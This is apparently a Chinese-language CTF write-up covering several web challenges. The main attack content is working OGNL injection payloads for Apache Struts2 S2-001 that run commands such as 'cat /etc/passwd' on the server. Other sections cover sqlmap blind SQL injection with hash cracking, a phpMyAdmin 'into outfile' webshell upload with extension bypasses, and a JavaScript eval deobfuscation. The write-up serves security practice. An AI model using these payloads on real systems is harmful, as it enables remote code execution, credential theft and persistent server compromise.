Apache Struts2远程代码执行漏洞(S2-001)
善于查资料:https://blog.csdn.net/qq_29647709/article/details/84945159
s2-001漏洞原理:用户提交表单时,后端会将OGNL表达式%{value}进行解析
关于OGNL:https://www.cnblogs.com/cenyu/p/6233942.html
在输入%{1+1}后,点击提交,会显示2,这说明{}中的内容被执行,那么,我们就可以通过这个漏洞,让它执行命令:
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
%{
#[email protected]@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
继续
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
进入主题:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
这个执行出来的命令是:ls / 命令
将ls /改一下,改成:cat key.txt
paylaod:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
就爆出了flag
SQL注入漏洞测试
最开始以为是这里的注入,无论怎么尝试都不行,心想这初级也太难了吧
然后看到关于平台维护的公告,点进去才发现这里才是注入点
(这里可以用啊D扫描器扫,也不至于半天找不到注入点)
然后开始进行注入,盲注,页面只有正确和错误两种形式:
直接sqlmap,在库stormgroup里面查看member表,里面有name和password
再次用sql爆,这是出来的结果:
还以为这就是flag,发现竟然不是,看这个像是md5解密,拿去解密得:
528469,提交之后说这个用户被禁用
想起来之前扫表的时候不是扫出来三个嘛,难道另一个也有用?
尝试一下:
果不其然!
同样md5解密:
853774
用此密码登录,进去之后就可以看见flag了
phpmyadmin上传漏洞
打开phpmyadmin,尝试admin/admin,不行;尝试root/root,可以登进去;这里也可以使用bp爆破
登进去之后访问主页,可以看见如下的服务器信息:
可以判断这是unix基于linux的操作系统。一般网站根目录为/var/www/html/…
但是以防万一,我们还是通过文件包含来寻找一些路径:
UNIX系统中/tmp/sess_[当前会话]
在这之前先在sql里面写
select ""
成功后访问index.php
在url后面写:
url/../../../../../../../tmp/sess_当前对话
找到绝对路径,上传一句话木马:
select "" into outfile '/var/www/html/1.php'
菜刀连接之后,在整个磁盘找KEY.txt
webshell:当发现图片马,修改类型都不行的时候,可以尝试上传扩展名为**.php3或者.php5**的文件
因为只有这样的文件才能被解析
NewsCenter
这是我第一次,抓了包用sqlmap跑出来flag
多跑几次就出来了
sqlmap.py -r 1.txt -dbs
sqlmap.py -r 1.txt --dump
NaNNaNNaNNaN-Batman
下载源码,打开发现是一堆乱得不完全的源码,但是
可以看见最前面的_是一个变量,eval()是执行这个变量
我们把eval改成alert(), 文档中不能显示就是编码的问题,但是虽然编码不一样,这个函数的内容是没有变的,alert的时候直接显示了一个变量内容,也可以理解为以能显示的编码显示出来
再以网页形式打开,可以看见正常的源码:
整理一下:
e的长度为16,e要有be0f23,233ac,e98aa,c7be9
所以e为be0f233ac7be98aa
执行以下代码:
将e的值输入框中,得到flag